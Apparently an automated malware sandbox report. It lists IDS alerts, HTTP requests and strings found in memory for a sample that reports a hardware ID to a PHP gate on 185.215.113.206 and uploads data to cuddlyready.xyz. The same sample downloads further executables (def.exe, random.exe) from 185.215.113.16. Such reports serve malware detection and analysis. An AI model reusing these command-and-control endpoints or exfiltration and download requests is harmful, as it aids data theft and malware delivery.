00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 77 71 75 66 6e 73 6b 00 c0 2a 00 00 c0 24 00 00 bc 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 75 74 6a 71 6a 71 6e 00 10 00 00 00 80 4f 00 00 04 00 00 00 38 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4f 00 00 22 00 00 00 3c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDAKFBFBFBAAAAAEBKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 41 34 34 43 39 45 36 46 37 39 33 39 39 34 38 38 30 37 35 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 2d 2d 0d 0a Data Ascii: ------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="hwid"2CA44C9E6F793994880753------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="build"stok------HJDAKFBFBFBAAAAAEBKJ--

Source: Joe Sandbox View	IP Address: 172.67.150.173 172.67.150.173
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49707 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49739 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49713 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49731 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49719 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49725 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49757 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49748 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.10:49763 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CKENAS7ISJTPPQ3JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12835Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0U2LZXDXLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15020Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YNIV021WBUFPCJKQ6JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20436Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BI799UUWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1184Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SA8OXMKHJ51KR5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 553139Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: cuddlyready.xyz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cuddlyready.xyz

Source: 0OkLsJL2Bn.exe, 00000001.00000003.1572271328.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1572271328.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/(
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe:J
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeic
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exer
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1572271328.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/r
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1572271328.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exebJ
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1572271328.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exen
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/4
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.0000000001159000.00000004.00000020.00020000.00000000.sdmp, 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000116C000.00000004.00000020.00020000.00000000.sdmp, 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.0000000001159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.0000000001159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpC
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.0000000001159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpW
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1423737689.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1420755075.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1424514583.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1424241594.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1423580795.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1423215100.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1422533162.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1421974868.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1422429279.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1424029355.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1421188440.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1422867072.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1419770522.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1423895230.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1424844900.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1423447285.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1421525273.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1421848660.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1420631880.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1425321244.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1423073046.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microxz
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1373420987.0000000000D68000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1419770522.0000000000D68000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/-C~l:
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1419770522.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1420031730.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1373420987.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/api
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1419770522.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1420031730.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/api5
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373420987.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/apire
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/api~
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/e
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/pi
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz:443/api
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz:443/apiCq
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz:443/apiages
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqrfQHr4pbW4ZbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1397574934.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1397574934.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15e498ec2b39921665a1fbc954bff40a8106629178eadc64
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
